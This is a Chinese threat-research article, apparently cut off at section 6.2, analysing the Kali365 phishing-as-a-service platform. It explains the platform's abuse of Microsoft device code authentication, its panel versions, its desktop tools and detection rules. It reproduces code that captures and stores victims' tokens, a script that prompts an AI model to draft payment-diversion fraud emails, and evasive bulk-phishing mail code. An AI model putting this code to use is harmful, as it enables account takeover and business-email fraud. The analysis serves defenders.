摘要:针对 2026 年大规模爆发的 Kali365(含 Octopi365、Freedom365)钓鱼即服务(PhaaS)平台开展深度技术剖析,梳理该平台依托微软设备代码认证流程实施身份劫持、权限持久化、邮件欺诈及二次钓鱼的完整攻击链路。本文拆解 Kali365 三大版本功能架构、前端面板逻辑、配套桌面应用运行机制,解析攻击者利用中间人攻击、令牌窃取、AI 辅助商业邮件入侵(BEC)、Exchange 服务滥用等技术实现变现的核心原理,还原从诱饵投递、身份认证劫持到后续欺诈落地的全流程行为特征。结合平台内置模板、API 接口、域名交易体系、支付结算模块等生态组件,明确该类商业化 PhaaS 平台的运营模式与威胁演化趋势。同时结合流量日志、行为特征、代码逻辑提取可落地的检测规则与防御方案,研究表明无管控的微软设备代码流是该攻击突破多因素认证(MFA)的核心突破口,终端行为异常、令牌复用、邮件发送特征偏移是识别威胁的关键依据。反网络钓鱼技术专家芦笛指出,现阶段商业化 PhaaS 平台已形成全链条黑产生态,单一防护手段难以抵御复合型攻击,需构建身份、终端、邮件、基础设施联动的纵深防御体系。全文结合实际代码片段、攻击流量样本、平台功能模块完成论证,可为企业微软 365 租户安全运维、网络威胁狩猎及安全策略优化提供技术参考。1 引言
随着云计算办公生态的全面普及,微软 365 已成为政企机构主流协同办公平台,依托账号令牌、多因素认证、设备绑定等机制构建了基础身份安全体系。但近年来钓鱼攻击逐步向服务化、模块化、智能化转型,钓鱼即服务(PhaaS)模式降低了网络黑产的技术门槛,大量非专业攻击者可通过付费租用标准化钓鱼平台实施定向攻击,传统单点钓鱼页面、简易凭证窃取攻击逐步被体系化、可运营的商业化平台取代。
2026 年 5 月,Huntress 安全运营中心(SOC)监测到源自腾讯云 IP 段的异常微软设备代码认证行为,单日成功登录事件峰值突破 80 起,经溯源确认该批量异常行为隶属于全新 PhaaS 平台 Kali365,该平台同期还存在 Octopi365、Freedom365 两个衍生名称,三者为同一套底层架构,名称差异源于品牌更换、工具泄露及黑产内部流转等因素。根据美国联邦调查局(FBI)溯源数据,Kali365 最早于 2026 年 4 月被外界捕获,上线时间短但传播速度极快,全球范围内累计发现 240 余个承载平台面板的独立 IP,形成覆盖诱饵分发、身份窃取、权限维持、邮件欺诈、二次钓鱼、资金结算的完整黑产生态。
与传统钓鱼工具相比,Kali365 不再局限于单纯窃取账号密码,其核心攻击逻辑依托微软设备代码认证流程绕过 MFA 防护,实现令牌持久化持有,即便受害者修改密码、重置多因素认证设备,攻击者仍可维持对租户资源的访问权限。平台内置 33 类标准化钓鱼诱饵模板、百余组 API 接口、基于角色的访问控制(RBAC)、加密货币支付结算体系及域名交易市场,同时搭配 OctoLink Live、OctoLink Sender 两款桌面端工具,将窃取的身份令牌转化为常态化浏览器会话与批量钓鱼邮件,完美模拟正常员工行为以规避安全检测。此外,高阶版本集成 AI 辅助 BEC 模块,自动分析邮件内容、识别高价值交易信息并生成欺诈邮件草稿,大幅提升商业邮件入侵的成功率与效率。
当前国内针对新型商业化 PhaaS 平台的技术研究多停留在现象通报层面,对设备代码流滥用原理、平台多版本功能差异、桌面端工具绕过检测逻辑、邮件批量发送伪装机制等底层技术缺乏系统性拆解,企业租户普遍存在对设备代码流安全风险认知不足、日志分析维度单一、纵深防御策略缺失等问题。基于此,本文以 Huntress 完整监测数据、平台前端代码、攻击流量日志、桌面端程序逻辑为研究样本,逐层剖析 Kali365 平台的架构体系、全链路攻击流程、核心技术原理及行为特征,结合代码示例还原关键攻击环节,针对性提出检测规则、权限管控、终端防护、邮件审计等多维度防御策略,弥补现有研究的技术短板,为政企微软 365 租户抵御同类体系化 PhaaS 攻击提供实操性技术支撑。
2 Kali365 威胁背景与整体生态架构
2.1 威胁爆发时间线与基础设施分布
本次 Kali365 攻击活动的监测周期集中在 2026 年 5 月 18 日至 5 月 27 日,攻击流量呈现明显的爆发式增长特征。5 月 18 日起,Huntress SOC 首次观测到 AS132203 自治域下腾讯云 IP 发起的设备代码认证请求,此时攻击规模较小;5 月 20 日攻击达到峰值,当日记录 80 余条UserLoggedIn成功登录日志;5 月 21 日后攻击流量逐步回落,但零星异常认证行为持续存在,直至 5 月 27 日批量攻击基本结束。
依托 Validin 溯源工具,研究人员累计定位150 余个部署 Kali365 钓鱼面板的独立 IP,其中主流面板版本集中部署于腾讯云基础设施,剩余 IP 分布在多家海外云服务商。进一步深度挖掘发现,该平台并非单一钓鱼页面,而是一套模块化、可扩展的全功能 PhaaS 生态,不同 IP 承载不同版本面板、域名节点及流量转发服务,整体基础设施具备分布式部署、节点隔离、动态切换的特征,单一节点被封禁不会影响整个攻击体系运行。
从黑产运营角度分析,Kali365 属于典型的标准化付费服务,平台划分多个版本面向不同层级攻击者:初级使用者租用基础面板实施凭证窃取,中级使用者利用高阶模块开展 BEC 欺诈,渠道商则通过分销面板权限、售卖钓鱼域名获取收益,不同角色依托平台内置的结算体系、权限体系完成分工协作,形成成熟的黑产商业模式。
2.2 平台多名称溯源与版本划分
监测过程中先后捕获 Kali365、Octopi365、Freedom365 三个对外名称,经代码比对、程序哈希校验、API 接口匹配确认,三者底层代码、功能模块、通信逻辑完全一致,属于同一 PhaaS 平台的不同对外标识。目前暂无法确定名称变更的具体诱因,行业主流推测包含三种可能性:平台运营方主动更换品牌规避安全厂商追踪、工具源码在黑产圈内泄露后被二次打包更名、不同代理渠道使用独立名称区分客户群体。其中 Kali365 为使用范围最广的主名称,Octopi365 多出现在桌面端可执行文件及部分海外节点面板中,Freedom365 存在周期较短,仅少量短期运营节点使用。
基于前端功能、模块配置、运营定位差异,研究人员将捕获的面板划分为 E1、E2、E3 三个版本,三个版本共享基础前端框架与核心认证逻辑,但功能侧重点、目标受众、盈利模式存在明确区分,不存在版本高低之分,仅针对不同攻击场景定制开发:
E1 版本:基础标准版,主要部署于腾讯云节点,核心功能为诱饵分发、令牌捕获、基础会话管理,面向入门级攻击者;
E2 版本:后渗透欺诈版,集成 AI-BEC、凭证扫描、Exchange 管理员权限滥用等高阶模块,目标为直接实施资金欺诈,面向专业欺诈团伙;
E3 版本:分销自助版,强化账号开通、权限分销、自动续费、账号找回等运营模块,主打面板权限售卖,面向黑产渠道商。
三个版本共用一套 React+Vite 单页应用前端框架,通过前端路由区分功能模块,研究人员通过解析近 10 万行 JavaScript 代码完成功能拆解,所有版本均内置 33 套标准化钓鱼诱饵模板、百余个 API 接口,底层通信依赖 Cloudflare Workers 实现流量伪装与域名转发。
2.3 平台通用基础组件
所有 Kali365 版本均搭载通用基础组件,这也是该平台区别于传统简易钓鱼工具的核心特征,通用组件保障了整个 PhaaS 生态的标准化运行,具体包含以下模块:
第一,33 套钓鱼诱饵模板库。模板覆盖微软 365 全系办公应用及主流第三方办公工具,分为普通模板与付费专业(Pro)模板两大类。普通模板包含 OneDrive 文件共享、SharePoint 文档库、Teams 消息提醒、Outlook 邮箱、DocuSign 电子签章、谷歌网盘等 12 类场景;专业模板面向管理员及高权限账号,包含安全告警、MFA 配置、邮件隔离区、管理员中心、Copilot 智能助手、Intune 设备注册等 21 类场景。模板页面高度还原官方界面,降低受害者警惕性。
第二,全域 API 接口集群。平台搭载 100 余组 API 接口,覆盖诱饵管理、令牌存储、域名交易、消息推送、权限校验、数据爬取等全流程功能。核心接口包含关键词监控接口、域名市场接口、令牌操作接口、机器人消息推送接口等,所有接口采用统一鉴权机制,保障模块间数据互通。
第三,域名交易市场。平台内置基于积分体系的域名分销模块,攻击者可直接在面板内购买钓鱼域名,域名自动对接 Cloudflare Workers 流量管道,实现 “购域名 - 配置诱饵 - 上线钓鱼” 一站式操作,无需额外配置网络基础设施。
第四,消息推送与告警模块。绑定 Telegram 机器人实现实时告警,当平台捕获新账号令牌、高权限账号登录、欺诈邮件触发等事件时,自动向攻击者推送通知,保障攻击者实时掌握攻击进度。
第五,流量伪装组件。集成 Cloudflare Turnstile 人机验证过滤爬虫流量,搭配可选住宅代理池,将微软登录日志的访问 IP 伪装为受害者所在国家 IP,规避基于 IP 属地的异常检测。
3 Kali365 全链路攻击流程与诱饵诱导机制
Kali365 完整攻击链路分为诱饵投递、页面诱导、设备代码认证劫持、令牌获取、持久化控制、后渗透欺诈六个阶段,整个流程从受害者点击恶意链接到攻击者获取持久访问权限最短仅需 42 秒,攻击节奏快、隐蔽性强。本节结合真实攻击流量日志、页面截图还原每一个攻击环节,并解析技术原理。
3.1 第一阶段:恶意诱饵投递
攻击者主要采用邮件投递作为初始传播渠道,邮件内容伪装为加密文档、共享文件、未读语音留言、安全告警等场景,诱导受害者点击内嵌链接。本次监测到的典型诱饵链接托管于 Canva 平台,利用正规平台域名降低邮件安全网关的拦截概率,邮件正文标注 “文档已加密,点击链接查看”,利用员工查阅工作文档的刚需触发点击行为。
从流量溯源结果来看,攻击者倾向于选用知名度高、风控宽松的第三方平台承载第一层跳转链接,Canva、普通企业静态站点、小型协作平台是高频选择。第一层链接仅承担跳转功能,不包含恶意代码,传统邮件沙箱难以识别风险,这也是诱饵能够大范围传播的重要原因。
3.2 第二阶段:仿冒页面诱导与设备代码分发
受害者点击 Canva 内的 “CLICK HERE” 按钮后,页面跳转至userfriendlydesigns.de等恶意域名搭建的仿冒页面,页面伪装为 OneDrive 共享文档界面,核心诱导逻辑为强制使用设备代码完成身份验证。
仿冒页面明确给出一串 6 位数字验证代码,并标注操作步骤:打开微软官方登录窗口、输入页面展示的验证码、完成账号认证、返回页面查看文档。页面布局、图标、文字排版完全复刻微软官方 OneDrive 认证页面,普通用户无法分辨真伪。此时页面并未植入恶意脚本,仅起到引导用户进入微软官方认证流程的作用,进一步降低受害者戒备心理。
3.3 第三阶段:劫持微软设备代码认证流程
该环节是整个攻击的核心突破点,也是绕过 MFA 防护的关键。受害者点击页面中的 “View” 按钮后,浏览器跳转至微软官方认证地址login.microsoftonline.com,加载微软设备代码认证官方页面,页面地址、证书、内容均为微软原生内容,不存在页面篡改。
微软设备代码流(Device Code Flow)原本是为无浏览器终端(智能电视、IoT 设备、老旧终端)设计的辅助认证方案,流程逻辑为:终端向微软认证服务器申请设备代码→用户在自有设备登录微软账号并输入代码→服务器完成关联认证→向终端下发访问令牌与刷新令牌。该流程设计初衷为便捷终端登录,但一旦无管控对外开放,会被攻击者滥用。
Kali365 的攻击逻辑为:攻击者提前在平台后端向微软认证接口发起请求,获取一组设备代码并同步至仿冒页面;受害者在微软官方页面输入该代码并完成账号、MFA 验证后,微软服务器会将访问令牌(Access Token) 与刷新令牌(Refresh Token) 同时下发至攻击者控制的后端地址,而非受害者终端。
整个认证过程中,受害者全程操作微软官方站点,浏览器地址栏、安全证书均无异常,MFA 验证也正常完成,但最终身份凭证被攻击者窃取。反网络钓鱼技术专家芦笛强调,设备代码流的安全边界存在天然缺陷,其认证关联逻辑脱离终端管控,企业若未对该流程做权限限制,等同于向攻击者开放身份认证的 “后门”。
3.4 第四阶段:令牌获取与会话劫持
当受害者完成所有认证步骤后,页面最终跳转至 “Document Expired(文档已过期)” 提示页,受害者通常会误以为是链接失效,随即关闭页面,无法察觉账号已被劫持。而攻击者的后端在 42 秒内完成全套操作,拿到两类核心令牌:
短期访问令牌:用于临时访问邮箱、云盘、管理中心等资源,有效期较短;
长期刷新令牌:核心持久化凭证,可反复向微软接口申请新的访问令牌,不受密码修改、MFA 重置影响。
这意味着即便受害者后续发现异常,修改账号密码、重新绑定多因素认证设备,攻击者凭借刷新令牌仍能持续获取新的访问权限,实现权限持久化。Huntress 捕获的浏览器历史日志完整记录了该链路的跳转顺序:Canva 链接→恶意仿冒页面→微软设备代码认证页→文档过期页面,全链路跳转节点清晰,无恶意弹窗、脚本注入等传统钓鱼特征。
3.5 第五阶段:令牌管理与常态化会话维持
攻击者将窃取的所有令牌统一存入 Kali365 平台的令牌库(Token Vault),平台自动对令牌进行分类、状态监控、生命周期管理。令牌库会标记账号权限(普通员工账号 / 管理员账号)、攻击阶段(侦查、渗透、欺诈、完成)、IP 属地、捕获时间等标签,攻击者可根据目标价值筛选账号。
平台默认每小时自动刷新令牌,利用刷新令牌续期访问权限,一旦令牌被租户安全策略吊销,平台会标记为 “已撤销” 并停止使用。同时平台支持手动导出令牌、批量共享令牌、单独登录邮箱等操作,为后续后渗透攻击提供支撑。
3.6 第六阶段:后渗透与欺诈落地
该阶段根据平台版本不同分为两类攻击方向:E1、E3 版本以二次钓鱼、批量扩散为主,利用窃取的账号发送钓鱼邮件,扩大受害范围;E2 版本主打 AI 辅助 BEC 欺诈、敏感信息窃取、Exchange 服务滥用,直接实施资金盗取,也是危害性最高的攻击形态。后续章节将结合平台模块详细拆解后渗透技术细节。
4 Kali365 三大版本功能架构与技术实现
Kali365 三个版本基于同一底层框架开发,通用模块保持一致,差异化模块决定攻击用途,本节结合前端路由、API 逻辑、代码片段分别解析 E1、E2、E3 版本的架构、功能与技术实现,同时附关键代码示例。
4.1 E1 基础标准版:令牌捕获与基础运维
E1 是部署量最大的基础版本,主要运行于腾讯云节点,定位为入门级钓鱼工具,核心能力是诱饵分发、AiTM 中间人劫持、设备代码流令牌捕获、基础会话管理,不搭载高阶欺诈模块。
4.1.1 核心功能模块
诱饵模板管理模块:调用内置 33 套模板,基于 Cloudflare Workers 搭建钓鱼站点,支持绑定独立自定义域名,单诱饵对应独立域名,实现节点隔离,单个域名被封禁不影响其他诱饵。
中间人攻击(AiTM)模块:采用反向代理 Cookie 窃取技术,配合设备代码流双模式窃取凭证,适配不同场景的钓鱼攻击。
令牌库模块:集中存储所有窃取的令牌,支持在线查看受害者邮箱、导出令牌文件、会话重放等操作,内置邮箱代理接口/dash/outlook/{id},攻击者可直接在面板内读取受害者邮件。
基础设施模块:内置积分制域名交易市场、联系人爬取管道、关键词监控、令牌权限扫描功能。关键词监控支持自定义 “发票、转账、付款” 等金融类关键词,一旦受害者邮箱出现对应内容,立即触发告警。
通知模块:对接 Telegram 机器人,新令牌捕获、高权限账号上线、关键词命中时实时推送告警信息。
4.1.2 关键代码示例:设备代码申请核心逻辑
E1 版本前端 JavaScript 负责向后端接口请求设备代码,并渲染至仿冒页面,以下为简化后的核心代码片段(基于原始前端代码整理,去除混淆代码):
// 前端请求设备代码接口,用于展示在仿冒页面
async function getDeviceCode() {
// 平台后端设备代码请求API
const apiUrl = "/api/devicecode/generate";
try {
const response = await fetch(apiUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
// 平台统一鉴权Token
"Authorization": `Bearer ${localStorage.getItem("panelToken")}`
},
body: JSON.stringify({
templateId: 1, // 模板ID,对应OneDrive诱饵
domain: window.location.hostname // 当前钓鱼域名
})
});
const result = await response.json();
if (result.code === 200) {
// 将获取到的设备代码渲染到页面
document.getElementById("verifyCode").innerText = result.deviceCode;
// 启动轮询,监听微软认证结果
pollAuthResult(result.requestId);
}
} catch (error) {
console.error("设备代码获取失败:", error);
}
}
// 轮询接口,检测受害者是否完成认证并获取令牌
async function pollAuthResult(requestId) {
const pollUrl = "/api/devicecode/poll";
const pollInterval = setInterval(async () => {
const res = await fetch(pollUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
"Authorization": `Bearer ${localStorage.getItem("panelToken")}`
},
body: JSON.stringify({ requestId: requestId })
});
const authData = await res.json();
// 认证完成,获取访问令牌与刷新令牌
if (authData.status === "success") {
clearInterval(pollInterval);
// 将令牌存入平台令牌库
saveTokenToVault(authData.accessToken, authData.refreshToken, authData.userInfo);
// 跳转至文档过期页面
window.location.href = "https://document-expired.pages.dev/";
}
}, 2000); // 2秒轮询一次认证状态
}
// 令牌入库函数
function saveTokenToVault(accessToken, refreshToken, user) {
fetch("/api/token/vault/add", {
method: "POST",
headers: {
"Content-Type": "application/json",
"Authorization": `Bearer ${localStorage.getItem("panelToken")}`
},
body: JSON.stringify({
email: user.email,
accessToken: accessToken,
refreshToken: refreshToken,
captureTime: new Date().toISOString(),
isAdmin: user.isAdmin
})
});
}
上述代码实现三大核心动作:向后端请求微软设备代码并展示给受害者、轮询认证状态、认证成功后收集两类令牌并入库。代码逻辑简洁高效,轮询间隔设置为 2 秒,保障最快速度捕获凭证。
4.1.3 流量伪装逻辑
E1 默认启用 Cloudflare Turnstile 拦截爬虫与自动化扫描工具,同时支持开启住宅代理功能。开启后,微软登录日志中的访问 IP 会被替换为受害者所属国家的住宅 IP,与正常员工登录行为高度吻合,传统基于 IP 异常的检测规则完全失效。
4.2 E2 后渗透欺诈版:AI-BEC 与管理员权限滥用
E2 版本是攻击收益最高的版本,定位为专业欺诈工具,删除了域名分销等渠道功能,全部模块围绕 “窃取信息 - 制造欺诈 - 完成变现” 设计,重点面向 BEC 攻击、管理员权限滥用场景,也是企业高价值租户面临的主要威胁。该版本与 E3 共享底层平台框架、工作流管道、Cloudflare Workers 配置。
4.2.1 核心差异化模块
AI 辅助 BEC 智能模块(核心模块)
该模块调用 Claude Sonnet 大模型,自动解析受害者邮箱邮件内容,识别转账、发票、薪资等金融类邮件,对欺诈可行性进行评分,并自动生成欺诈邮件草稿。对应前端路由为/dash/bec/analyze、/dash/bec/drafts、/dash/bec/regenerate。模块内置评分体系,分为 “付款劫持、发票篡改、紧急催款” 三类欺诈场景,评分越高代表欺诈成功率越高。攻击者可直接使用 AI 生成的草稿,从受害者邮箱对外发送邮件,诱导合作方、公司财务转账至攻击者控制账户。
高价值邮件分拣队列
自动扫描收件箱,将包含转账指令、银行账户、发票、薪资清单的邮件归集至独立队列,优先推送至攻击者界面,缩短信息筛选时间。
凭证扫描模块
遍历受害者所有邮箱邮件、附件、云盘文件,检索助记词、银行卡号、银行密码、API 密钥、内部系统账号等敏感信息,批量提取后汇总展示。
Exchange 管理员滥用模块
针对微软 365 租户管理员账号开发,利用捕获的管理员令牌执行高危操作:创建恶意邮件连接器、修改邮件流转规则、篡改 DKIM 签名配置、通过 Graph 接口枚举租户所有邮箱账号,实现全域渗透。
标准化工作流管道
采用看板(Kanban)模式划分攻击阶段:新捕获账号→信息侦查→渗透利用→资金变现→攻击结束,攻击者可批量管理账号,标准化欺诈流程。
OctoLink Live 桌面端适配
内置桌面端下载入口,结合桌面工具将令牌转化为真实浏览器会话,规避接口级检测。
4.2.2 AI-BEC 模块核心逻辑代码片段
以下为 AI 分析邮件并生成欺诈草稿的后端简化代码(Python),还原模型调用与内容生成逻辑:
# AI-BEC模块后端核心逻辑,基于Claude Sonnet接口实现
import requests
import json
# 大模型接口地址与密钥
CLAUDE_API = "https://api.anthropic.com/v1/messages"
API_KEY = "xxxxxx"
def analyze_email_and_generate_fraud_draft(email_content, email_type):
"""
分析邮件内容,生成欺诈邮件草稿
:param email_content: 原始邮件正文
:param email_type: 邮件类型(transfer/invoice/urgent)
:return: 欺诈评分、欺诈类型、欺诈草稿
"""
# 构造提示词,引导模型识别风险并生成欺诈内容
prompt = f"""
分析以下办公邮件,判断是否存在资金交易相关内容,输出三项内容:
1. 欺诈可行性评分(0-100);2. 欺诈类型;3. 伪造回复邮件(修改收款账户,增加紧急时效)
邮件内容:{email_content}
邮件类型:{email_type}
输出格式:JSON格式,包含score、fraud_type、draft三个字段
"""
headers = {
"x-api-key": API_KEY,
"Content-Type": "application/json",
"anthropic-version": "2023-06-01"
}
post_data = {
"model": "claude-3-sonnet-20240229",
"max_tokens": 1024,
"messages": [{"role": "user", "content": prompt}]
}
# 调用大模型接口
response = requests.post(CLAUDE_API, headers=headers, data=json.dumps(post_data))
result = json.loads(response.text)
# 解析模型返回的JSON结果
final_data = json.loads(result["content"][0]["text"])
return final_data
# 调用示例:解析转账类邮件
if __name__ == "__main__":
raw_email = "请于本周五之前完成45000美元转账,账户为Bluth家族信托..."
fraud_result = analyze_email_and_generate_fraud_draft(raw_email, "transfer")
print(f"欺诈评分:{fraud_result['score']}")
print(f"欺诈类型:{fraud_result['fraud_type']}")
print(f"欺诈草稿:{fraud_result['draft']}")
该代码直接体现 AI 模块的工作逻辑:读取受害者邮件内容,通过定向提示词引导大模型识别交易信息、打分并生成欺诈邮件。AI 的介入大幅降低了攻击者的文案编写成本,同时伪造邮件语气、格式高度贴合原有对话,难以被人工识别。
4.3 E3 分销自助版:权限分销与自动化运营
E3 版本定位为渠道分销平台,面向黑产代理商,核心目标是售卖面板使用权限、发展下级攻击者,因此弱化了 BEC、管理员滥用等攻击模块,强化账号管理、自动支付、账号找回、权限分配等运营功能。该版本同样共享 E2 的底层框架、桌面端适配、工作流管道。
4.3.1 核心差异化模块
自助开户与续费模块
搭载/api/recover-account账号找回接口与/api/extend-subscription续费接口,支持加密货币自动支付。攻击者通过 OxaPay 加密货币网关完成付款后,系统无需人工干预,自动开通权限、续期服务,实现 7×24 小时无人值守运营。接口支持识别支付链接、数字 ID、链上交易哈希三种凭证。
账号自助找回模块
面板密码重置功能绑定 Telegram 机器人,用户发起找回请求后,机器人推送 6 位验证码,输入验证码即可重置密码,全程自动化。
多级 RBAC 权限体系
细化角色权限,区分超级管理员、一级代理、二级代理、普通用户,不同角色可使用的模板、API、令牌数量做严格限制,适配多层级分销模式。
精简攻击模块
保留基础诱饵分发、令牌捕获、令牌库功能,移除 E2 的 AI-BEC、凭证扫描、Exchange 管理等高阶模块,避免下级使用者滥用高阶功能引发大规模风控告警,保障分销业务稳定运行。
4.3.2 自动续费接口逻辑说明
E3 的自动续费接口是黑产商业化运营的核心,接口接收交易凭证后自动修改账号有效期,无人工审核环节。track_id参数为核心识别字段,可传入 OxaPay 支付链接、纯数字用户 ID、区块链交易哈希三种格式,系统自动校验支付有效性后完成续期。该设计让整个 PhaaS 平台完全实现商业化自助运转。
4.4 三大版本共性与差异总结
为清晰区分版本特征,结合功能、定位、目标人群、核心模块完成汇总:
共性:统一 React 前端框架、33 套诱饵模板、设备代码流攻击逻辑、Cloudflare 流量伪装、Telegram 告警、令牌库基础功能;
E1(基础版):面向个人攻击者,主打令牌捕获与基础钓鱼,搭载域名市场,部署于腾讯云;
E2(欺诈版):面向专业欺诈团伙,主打 AI-BEC、管理员滥用,无分销功能,追求单次攻击收益;
E3(分销版):面向黑产代理商,主打权限售卖、自动支付续费,弱化欺诈模块,追求规模化用户。
5 配套桌面端应用技术原理与绕过检测机制
Kali365 生态包含两款 Electron 架构桌面应用:OctoLink Live(令牌转浏览器会话)、OctoLink Sender(批量二次钓鱼邮件发送),两款工具是实现 “隐匿行为、扩大攻击范围” 的关键,其技术设计专门规避传统安全检测,本节深度解析工具原理、代码逻辑与行为特征。
5.1 OctoLink Live:令牌转化为原生浏览器会话
OctoLink Live(别名 Kali365 Live)的核心作用是将窃取的刷新令牌、访问令牌转化为正常 Chromium 浏览器会话,让攻击者的操作完全模拟真人办公行为,绕过接口监控、令牌异常检测。
5.1.1 核心运行流程
工具基于 Electron+Chromium 开发,运行逻辑分为四大步骤,原始代码注释明确标注了设计思路:必须通过真实浏览器页面加载令牌交换请求,无法通过后端接口直接获取 ESTSAUTH 会话 Cookie,这也是该工具的核心绕过逻辑。
拉取令牌:工具通过面板 API 接口登录,从令牌库读取已捕获的账号令牌;
隐藏窗口交换令牌:启动隐藏 Chromium 窗口,调用微软令牌接口,使用刷新令牌申请新凭证,该步骤用于生成 ESTSAUTH 身份 Cookie;
分域注入授权头:针对 Outlook、OneDrive、SharePoint、管理员中心等不同服务,分别注入Authorization: Bearer请求头,获取对应服务的会话 Cookie;
可视化会话展示:启动独立浏览器窗口,加载目标服务页面,依托已生成的 Cookie 实现免密登录,无任何 MFA 弹窗、账号验证提示。
工具为每一个账号、每一项服务创建独立会话分区persist:svc-{tokenId}-{service},多账号登录时 Cookie 相互隔离,不会出现账号串号,同时规避基于 Cookie 关联的异常检测。
5.1.2 关键技术点与检测难点
客户端 ID 伪装:当令牌未绑定专属客户端 ID 时,工具默认使用微软官方 Office 客户端 ID d3590ed6-52b3-4102-aeff-aad2292ab01c,该 ID 在正常 Office 登录行为中高频出现,单独依靠客户端 ID 无法判定异常;
IP 伪装配合:结合平台住宅代理功能,登录 IP 属地与受害者一致,登录日志仅能看到 Electron 程序专属 User-Agent,无明显恶意特征;
会话无痕化:最终交互依赖标准浏览器 Cookie,请求头中不再携带 Bearer 令牌,传统令牌监控规则彻底失效。
反网络钓鱼技术专家芦笛指出,该工具实现了 “令牌行为浏览器化”,将高危的令牌调用行为转化为企业日常最常见的浏览器办公行为,是当前身份安全防护的重大难点,单纯监控令牌接口已无法抵御此类攻击。
5.2 OctoLink Sender:批量二次钓鱼邮件发送工具
OctoLink Sender 是批量邮件发送工具,利用已劫持的账号对外发送钓鱼邮件,实现横向扩散,工具针对 Exchange 邮件服务的限流、风控、日志特征做了深度优化,伪装能力极强。
5.2.1 核心邮件发送逻辑:草稿 - 发送 - 校验三步法
为应对 Exchange 传输层限流问题(接口返回 202 状态码但邮件实际未发送,产生孤立草稿),工具设计了专属的创建草稿→发送草稿→校验草稿删除三步流程,原始代码注释完整记录设计初衷,核心代码逻辑如下:
// OctoLink Sender 邮件发送核心三步逻辑(基于原始代码整理)
const axios = require("axios");
// 单令牌每日发送上限:2500封
const DAILY_LIMIT = 2500;
// 单批次发送数量:80封
const BATCH_SIZE = 80;
// 批次间隔:120秒
const BATCH_COOLDOWN = 120000;
// 基础发送延迟:4秒,增加随机抖动
const BASE_DELAY = 4000;
/**
* 三步法发送邮件,避免Exchange限流产生孤立草稿
* @param token 账号访问令牌
* @param mailContent 邮件内容
* @param recipient 收件人地址
*/
async function sendMailByDraft(token, mailContent, recipient) {
const graphUrl = "https://graph.microsoft.com/v1.0/me/messages";
// 步骤1:创建邮件草稿
const draftRes = await axios.post(graphUrl, {
subject: mailContent.subject,
body: { contentType: "Text", content: mailContent.body },
toRecipients: [{ emailAddress: { address: recipient } }]
}, {
headers: { Authorization: `Bearer ${token}` }
});
const draftId = draftRes.data.id;
// 步骤2:发送草稿邮件
const sendUrl = `${graphUrl}/${draftId}/send`;
await axios.post(sendUrl, {}, {
headers: { Authorization: `Bearer ${token}` }
});
// 等待1.5秒后校验草稿是否被删除
await sleep(1500);
// 步骤3:校验草稿状态,清理孤立草稿
const checkRes = await axios.get(`${graphUrl}/${draftId}`, {
headers: { Authorization: `Bearer ${token}` }
});
// 404代表草稿已删除,邮件发送成功;存在数据则为孤立草稿,执行删除
if (checkRes.status === 200) {
await axios.delete(`${graphUrl}/${draftId}`, {
headers: { Authorization: `Bearer ${token}` }
});
}
}
// 休眠函数
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
该流程完美解决 Exchange 限流导致的邮件发送失败问题,同时主动清理残留草稿,消除攻击痕迹。
5.2.2 行为伪装与风控规避策略
工具内置多层流量伪装规则,模拟人工发送邮件的行为特征,规避邮件风控系统:
速率限制:单账号每日最大发送量 2500 封,每批次发送 80 封后暂停 120 秒;
随机延迟:单封邮件基础延迟 4 秒,叠加随机抖动;每发送 12-19 封邮件,插入 5-12 秒人工停顿;每 10 封邮件上调延迟阈值;
异常容错:当触发 Exchange 垃圾邮件风控(550 5.1.8、5.7.1 报错)、发件人未认证等错误时,立即停止任务,暂停 1-4 小时后再尝试,避免令牌被封禁;
令牌续期:批次暂停期间自动调用刷新令牌续期权限,保障发送任务不中断;
离线容错:工具与面板的订阅状态校验接口触发 404 或错误时,自动判定为 “会员有效、剩余 999 天权限”,即便面板被关停,已启动的发送任务仍会继续运行。
5.2.3 检测难点
微软统一审计日志(UAL)不会记录草稿查询返回 404 的行为,导致三步法的核心痕迹无法通过官方日志捕获。防护方仅能依靠邮件发送频率、发送间隔、批量收件人等行为特征识别异常,检测难度大幅提升。
6 威胁检测规则与多维度防御体系构建
基于前文对 Kali365 全链路攻击、平台模块、桌面应用、行为特征的技术分析,结合流量日志、接口请求、终端行为、邮件特征,本节提出可落地的检测规则、权限管控策略、终端防护、邮件审计、基础设施防御方案,形成闭环防御体系。
6.1 基于日志的威胁狩猎检测规则
结合 Huntress 公开的狩猎规则,适配微软 Azure AD 登录日志,编写标准化 Kusto 查询规则,针对核心攻击特征做定向检测,规则可直接部署于微软日志分析平台。
6.1.1 基础 IP 与自治域检测规则
针对本次攻击高频出现的腾讯云自治域 AS132203 及 IP 段43.173.64.0/20,检测该网段内使用 Python 请求工具的异常登录行为:
kusto
SigninLogs
| where ResultType == "0" // 筛选登录成功事件
// 匹配攻击关联自治域与IP段
| where AutonomousSystemNumber == 132203 or ipv4_is_in_range(IPAddress, "43.173.64.0/20")
// 匹配后端请求工具特征
| where UserAgent contains "python-requests"
// 输出关键字段用于溯源
| project TimeGenerated, UserPrincipalName, IPAddress, AutonomousSystemNumber,
UserAgent, AppDisplayName, AppId, AuthenticationProtocol, ResourceDisplayName, Location
| sort by TimeGenerated desc
该规则用于快速筛查已知恶意基础设施发起的登录行为,实现批量威胁预警。
6.1.2 设备代码流滥用专项检测规则
针对设备代码认证流程,建立三类异常检测维度:
非可信终端大批量触发设备代码认证;
同一 IP 短时间内为多个不同账号完成设备代码登录;
设备代码认证后,短时间内出现大量 Graph 接口调用、邮箱读取行为。
同时建议全局统计设备代码流使用频次,一旦单租户单日设备代码认证事件超过阈值,立即触发告警。
6.1.3 OctoLink 桌面应用行为检测规则
登录日志检测:识别 Electron 框架专属 User-Agent,结合官方 Office 客户端 ID d3590ed6-52b3-4102-aeff-aad2292ab01c,排查无交互登录场景;
会话行为检测:同一账号在短时间内频繁切换管理员中心、邮箱、云盘等服务,且操作时段偏离员工正常工作时间;
令牌检测:监测刷新令牌的高频调用行为,尤其是无前端交互的后台令牌续期请求。
6.1.4 邮件发送行为检测规则
针对 OctoLink Sender 的发送特征,配置邮件审计规则:
单账号单日邮件发送量接近 2500 封阈值;
批量邮件呈现 “80 封一批、间隔 120 秒” 的固定节奏;
邮件发送间隔存在固定 4 秒基础延迟 + 随机人工停顿;
短时间内向大量外部陌生收件人发送内容相似的邮件。
6.2 核心权限管控:限制微软设备代码流
